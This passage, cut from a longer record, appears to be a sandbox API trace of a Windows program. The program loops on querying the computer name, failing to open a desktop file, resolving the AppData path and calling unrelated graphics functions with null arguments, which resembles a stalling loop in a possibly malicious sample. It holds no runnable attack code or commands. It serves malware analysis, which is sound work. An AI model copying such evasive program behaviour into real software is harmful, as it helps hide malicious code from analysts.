pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.178] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.178] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.178] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.178] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.178] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.178] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.178] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.178] CloseHandle (hObject=0x0) returned 0 [0145.178] CloseHandle (hObject=0xffffffff) returned 1 [0145.178] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.178] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.178] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.178] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.178] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.178] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.178] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.178] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.179] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.179] CloseHandle (hObject=0x0) returned 0 [0145.179] CloseHandle (hObject=0xffffffff) returned 1 [0145.179] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.179] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.179] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.179] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.179] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.179] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.179] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.179] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.179] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.179] CloseHandle (hObject=0x0) returned 0 [0145.179] CloseHandle (hObject=0xffffffff) returned 1 [0145.179] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.179] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.179] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.179] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.179] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.179] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.179] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.179] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.179] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.179] CloseHandle (hObject=0x0) returned 0 [0145.179] CloseHandle (hObject=0xffffffff) returned 1 [0145.179] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.179] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.180] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.180] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.180] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.180] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.180] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.180] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.180] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.180] CloseHandle (hObject=0x0) returned 0 [0145.180] CloseHandle (hObject=0xffffffff) returned 1 [0145.180] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.180] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.180] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.180] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.180] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.180] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.180] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.180] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.180] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.180] CloseHandle (hObject=0x0) returned 0 [0145.180] CloseHandle (hObject=0xffffffff) returned 1 [0145.180] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.180] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.180] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.180] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.180] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.180] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.180] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.181] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.181] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.181] CloseHandle (hObject=0x0) returned 0 [0145.181] CloseHandle (hObject=0xffffffff) returned 1 [0145.181] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.181] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.181] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.181] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.181] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.181] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.181] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.181] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.181] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.181] CloseHandle (hObject=0x0) returned 0 [0145.181] CloseHandle (hObject=0xffffffff) returned 1 [0145.181] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.181] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.181] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.181] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.181] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.181] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.181] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.181] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.181] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.181] CloseHandle (hObject=0x0) returned 0 [0145.181] CloseHandle (hObject=0xffffffff) returned 1 [0145.181] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.181] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.181] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.182] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.182] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.182] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.182] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.182] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.182] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.182] CloseHandle (hObject=0x0) returned 0 [0145.182] CloseHandle (hObject=0xffffffff) returned 1 [0145.182] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.182] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.182] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.182] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.182] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.182] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.182] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.182] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.182] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.182] CloseHandle (hObject=0x0) returned 0 [0145.182] CloseHandle (hObject=0xffffffff) returned 1 [0145.182] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.182] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.182] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.182] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.182] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.182] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.182] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.182] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.182] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.183] CloseHandle (hObject=0x0) returned 0 [0145.183] CloseHandle (hObject=0xffffffff) returned 1 [0145.183] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.183] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.183] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.183] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.183] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.183] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.183] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.183] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.183] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.183] CloseHandle (hObject=0x0) returned 0 [0145.183] CloseHandle (hObject=0xffffffff) returned 1 [0145.183] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.183] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.183] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.183] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.183] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.183] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.183] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.183] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.183] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.183] CloseHandle (hObject=0x0) returned 0 [0145.183] CloseHandle (hObject=0xffffffff) returned 1 [0145.183] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.183] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.183] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.183] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.184] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.184] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.184] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.184] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.184] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.184] CloseHandle (hObject=0x0) returned 0 [0145.184] CloseHandle (hObject=0xffffffff) returned 1 [0145.184] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.184] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.184] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.184] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.184] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.184] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.184] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.184] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.184] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.184] CloseHandle (hObject=0x0) returned 0 [0145.184] CloseHandle (hObject=0xffffffff) returned 1 [0145.184] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.184] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.184] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.184] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.184] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.184] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.184] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.184] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.184] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.186] CloseHandle (hObject=0x0) returned 0 [0145.186] CloseHandle (hObject=0xffffffff) returned 1 [0145.186] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.186] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.186] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.186] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", 